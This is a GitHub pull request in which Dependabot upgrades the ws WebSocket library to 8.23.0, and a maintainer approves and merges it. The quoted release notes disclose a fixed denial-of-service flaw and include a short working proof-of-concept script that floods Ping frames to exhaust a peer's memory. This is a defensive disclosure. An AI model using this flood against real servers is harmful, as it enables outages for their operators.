Skip to content

Bump ws from 8.22.1 to 8.23.0 in the ws group across 1 directory - #481

Merged
acronhub merged 1 commit into
mainfrom
dependabot/npm_and_yarn/ws-dc2cb9fcdf
Nov 26, 2026
Merged

acronhub merged 1 commit into
mainfrom
dependabot/npm_and_yarn/ws-dc2cb9fcdf

Conversation

@dependabot

@dependabot dependabot Bot commented on behalf of github Nov 21, 2026 •

Copy link
Copy Markdown
Contributor

Bumps the ws group with 1 update in the / directory: ws.

Updates ws from 8.22.1 to 8.23.0

Release notes

Sourced from ws's releases.

8.23.0

Features

  • Introduced the maxPendingAutoPongs option (ace7248f).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (ace7248f).

A malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(125);
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
ws.pause();
(function ping() {
  ws.ping(data, function (err) {
    if (err) return;
    ping();
  });
})();

});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed by multiple reporters:

... (truncated)

Commits
  • d387219 [dist] 8.23.0
  • ace7248 [security] Limit automatically sent pending pongs
  • 73d283c [test] Ensure DuplexSockets automatically emit the 'close' event
  • 2582a67 [dist] 8.22.2
  • 3eec252 [perf] Do not retain the read buffer via the close reason (#2354)
  • 9757c69 [fix] Do not modify the url.URL object (#2353)
  • e23d55e [fix] Percent-decode the userinfo of the URL (#2352)
  • 335a610 [perf] Do not retain the read buffer via the frame mask (#2350)
  • f40ccff [doc] Adjust Node.js version requirement in README (#2348)
  • See full diff in compare view

@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code labels Nov 21, 2026
@dependabot
dependabot Bot requested a review from a team as a code owner November 21, 2026 19:13
@dependabot
dependabot Bot requested review from acronhub and removed request for a team November 21, 2026 19:13
@dependabot dependabot Bot changed the title Bump ws from 8.22.1 to 8.23.0 in the ws group Bump ws from 8.22.1 to 8.23.0 in the ws group across 1 directory Nov 24, 2026
@dependabot
dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-dc2cb9fcdf branch from 3b45d3d to 80f868f Compare November 24, 2026 01:01
Bumps the ws group with 1 update in the / directory: [ws](https://github.com/websockets/ws).


Updates `ws` from 8.22.1 to 8.23.0
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.22.1...8.23.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.23.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
  dependency-group: ws
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot
dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-dc2cb9fcdf branch from 80f868f to b7f3ffa Compare November 25, 2026 05:32

@acronhub acronhub left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@acronhub
acronhub merged commit 7f985b0 into main Nov 26, 2026
7 checks passed
@acronhub
acronhub deleted the dependabot/npm_and_yarn/ws-dc2cb9fcdf branch November 26, 2026 02:35
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant